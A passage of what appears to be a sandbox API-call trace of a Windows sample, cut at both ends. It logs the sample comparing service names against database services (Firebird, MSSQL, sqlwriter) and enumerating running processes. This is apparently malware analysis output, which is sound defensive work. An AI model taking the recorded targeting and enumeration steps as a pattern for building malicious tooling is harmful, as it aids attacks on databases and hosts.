(lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0105.404] lstrlenW (lpString="netprofm") returned 8 [0105.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0105.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0105.404] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0105.404] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0105.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0105.404] lstrlenW (lpString="NlaSvc") returned 6 [0105.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0105.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0105.404] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0105.404] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0105.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0105.404] lstrlenW (lpString="nsi") returned 3 [0105.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0105.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0105.404] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0105.404] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0105.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0105.404] lstrlenW (lpString="PcaSvc") returned 6 [0105.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0105.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0105.404] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0105.410] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0105.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0105.410] lstrlenW (lpString="PlugPlay") returned 8 [0105.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0105.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0105.411] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0105.411] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0105.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0105.411] lstrlenW (lpString="Power") returned 5 [0105.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0105.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0105.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0105.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0105.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0105.411] lstrlenW (lpString="ProfSvc") returned 7 [0105.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0105.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0105.411] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0105.411] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0105.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0105.411] lstrlenW (lpString="RpcEptMapper") returned 12 [0105.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0105.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0105.411] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0105.411] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0105.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0105.411] lstrlenW (lpString="RpcSs") returned 5 [0105.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0105.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0105.411] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0105.411] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0105.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0105.411] lstrlenW (lpString="SamSs") returned 5 [0105.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0105.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0105.412] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0105.412] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0105.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0105.412] lstrlenW (lpString="Schedule") returned 8 [0105.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0105.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0105.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0105.412] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0105.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0105.412] lstrlenW (lpString="SecurityHealthService") returned 21 [0105.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0105.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0105.412] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0105.412] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0105.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0105.412] lstrlenW (lpString="SENS") returned 4 [0105.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0105.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0105.412] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0105.412] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0105.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0105.412] lstrlenW (lpString="ShellHWDetection") returned 16 [0105.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0105.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0105.412] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0105.412] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0105.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0105.413] lstrlenW (lpString="Spooler") returned 7 [0105.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0105.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0105.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0105.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0105.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0105.413] lstrlenW (lpString="sppsvc") returned 6 [0105.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0105.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0105.413] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0105.413] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0105.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0105.413] lstrlenW (lpString="SSDPSRV") returned 7 [0105.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0105.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0105.413] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0105.413] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0105.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61c998 | out: hHeap=0x5c0000) returned 1 [0105.413] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374 [0105.418] Process32FirstW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.419] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0105.420] lstrlenW (lpString="System") returned 6 [0105.420] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0105.421] lstrlenW (lpString="smss.exe") returned 8 [0105.421] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.429] lstrlenW (lpString="csrss.exe") returned 9 [0105.429] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0105.430] lstrlenW (lpString="wininit.exe") returned 11 [0105.431] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.432] lstrlenW (lpString="csrss.exe") returned 9 [0105.432] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0105.433] lstrlenW (lpString="winlogon.exe") returned 12 [0105.433] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0105.434] lstrlenW (lpString="services.exe") returned 12 [0105.434] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0105.434] lstrlenW (lpString="lsass.exe") returned 9 [0105.434] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.435] lstrlenW (lpString="svchost.exe") returned 11 [0105.435] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0105.436] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0105.436] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0105.437] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0105.437] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.438] lstrlenW (lpString="svchost.exe") returned 11 [0105.438] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0105.438] lstrlenW (lpString="dwm.exe") returned 7 [0105.438] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.439] lstrlenW (lpString="svchost.exe") returned 11 [0105.439] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.440] lstrlenW (lpString="svchost.exe") returned 11 [0105.440] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.441] lstrlenW (lpString="svchost.exe") returned 11 [0105.441] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.442] lstrlenW (lpString="svchost.exe") returned 11 [0105.442] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.443] lstrlenW (lpString="svchost.exe") returned 11 [0105.443] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.444] lstrlenW (lpString="svchost.exe") returned 11 [0105.444] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.445] lstrlenW (lpString="svchost.exe") returned 11 [0105.445] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.446] lstrlenW (lpString="svchost.exe") returned 11 [0105.446] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.446] lstrlenW (lpString="svchost.exe") returned 11 [0105.446] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0105.447] lstrlenW (lpString="spoolsv.exe") returned 11 [0105.447] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.448] lstrlenW (lpString="svchost.exe") returned 11 [0105.448] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.449] lstrlenW (lpString="svchost.exe") returned 11 [0105.449] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0105.449] lstrlenW (lpString="audiodg.exe") returned 11 [0105.449] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0105.450] lstrlenW (lpString="sihost.exe") returned 10 [0105.450] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.451] lstrlenW (lpString="svchost.exe") returned 11 [0105.451] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0105.457] lstrlenW (lpString="taskhostw.exe") returned 13 [0105.457] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0105.458] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0105.458] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0105.459] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0105.459] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0105.460] lstrlenW (lpString="explorer.exe") returned 12 [0105.460] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0105.461] lstrlenW (lpString="Memory Compression") returned 18 [0105.461] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0105.462] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0105.462] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0105.464] lstrlenW (lpString="SearchUI.exe") returned 12 [0105.464] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0105.465] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0105.465] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0105.466] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0105.466] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0105.468] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0105.468] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0105.469] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0105.469] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.470] lstrlenW (lpString="conhost.exe") returned 11 [0105.470] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0105.471] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0105.471] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0105.472] lstrlenW (lpString="upper arc.exe") returned 13 [0105.472] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0105.472] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0105.473] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0105.473] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0105.473] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0105.474] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0105.474] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0105.475] lstrlenW (lpString="blademcdonald.exe") returned 17 [0105.475] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0105.476] lstrlenW (lpString="courage.exe") returned 11 [0105.476] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0105.477] lstrlenW (lpString="pearl.exe") returned 9 [0105.477] Process32NextW (in: hSnapshot=0x374, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 